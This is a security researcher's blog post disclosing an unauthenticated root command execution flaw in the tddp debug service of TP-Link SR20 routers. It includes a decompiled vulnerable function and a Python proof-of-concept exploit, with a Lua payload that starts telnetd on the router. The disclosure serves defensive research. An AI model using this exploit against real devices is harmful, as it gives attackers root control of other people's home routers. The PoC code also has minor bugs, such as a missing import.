Remote code execution as root from the local network on TP-Link SR20 routers


The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign - popen() passes its argument directly to the shell, so if there's any way to get user controlled input into a popen() call you're basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Tddp is the TP-Link Device Debug Protocol. It runs on most TP-Link devices in one form or another, but different devices have different functionality. What is common is the protocol, which has been previously described. The interesting thing is that while version 2 of the protocol is authenticated and requires knowledge of the admin password on the router, version 1 is unauthenticated.

Dumping tddp into Ghidra makes it pretty easy to find a function that calls recvfrom(), the call that copies information from a network socket. It looks at the first byte of the packet and uses this to determine which protocol is in use, and passes the packet on to a different dispatcher depending on the protocol version. For version 1, the dispatcher just looks at the second byte of the packet and calls a different function depending on its value. 0x31 is CMD_FTEST_CONFIG, and this is where things get super fun.

Here's a cut down decompilation of the function:
int ftest_config(char *byte) { int lua_State; char *remote_address; int err; int luaerr; char filename[64] char configFile[64]; char luaFile[64]; int attempts; char *payload; attempts = 4; memset(luaFile,0,0x40); memset(configFile,0,0x40); memset(filename,0,0x40); lua_State = luaL_newstart(); payload = iParm1 + 0xb027; if (payload != 0x00) { sscanf(payload,"%[^;];%s",luaFile,configFile); if ((luaFile[0] == 0) || (configFile[0] == 0)) { printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b); } else { remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4)); tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address); sprintf(filename,"/tmp/%s",luaFile); while (0 < attempts) { sleep(1); err = access(filename,0); if (err == 0) break; attempts = attempts + -1; } if (attempts == 0) { printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename); } else { if (lua_State != 0) { luaL_openlibs(lua_State); luaerr = luaL_loadfile(lua_State,filename); if (luaerr == 0) { luaerr = lua_pcall(lua_State,0,0xffffffff,0); } lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr); lua_pushstring(lua_State,configFile); lua_pushstring(lua_State,remote_address); lua_call(lua_State,2,1); } lua_close(lua_State); } } }
}
Basically, this function parses the packet for a payload containing two strings separated by a semicolon. The first string is a filename, the second a configfile. It then calls tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address) which executes the tftp command in the background. This connects back to the machine that sent the command and attempts to download a file via tftp corresponding to the filename it sent. The main tddp process waits up to 4 seconds for the file to appear - once it does, it loads the file into a Lua interpreter it initialised earlier, and calls the function config_test() with the name of the config file and the remote address as arguments. Since config_test() is provided by the file that was downloaded from the remote machine, this gives arbitrary code execution in the interpreter, which includes the os.execute method which just runs commands on the host. Since tddp is running as root, you get arbitrary command execution as root.

I reported this to TP-Link in December via their security disclosure form, a process that was made difficult by the "Detailed description" field being limited to 500 characters. The page informed me that I'd hear back within three business days - a couple of weeks later, with no response, I tweeted at them asking for a contact and heard nothing back. Someone else's attempt to report tddp vulnerabilities had a similar outcome, so here we are.

There's a couple of morals here:

  • Don't default to running debug daemons on production firmware seriously how hard is this
  • If you're going to have a security disclosure form, read it

Proof of concept:

#!/usr/bin/python3 # Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0 # Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename import binascii
import socket port_send = 1040
port_receive = 61000 tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00 tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive)) # Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close() response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

[1] Link to the wayback machine because the live link now redirects to an Amazon product page for a lightswitch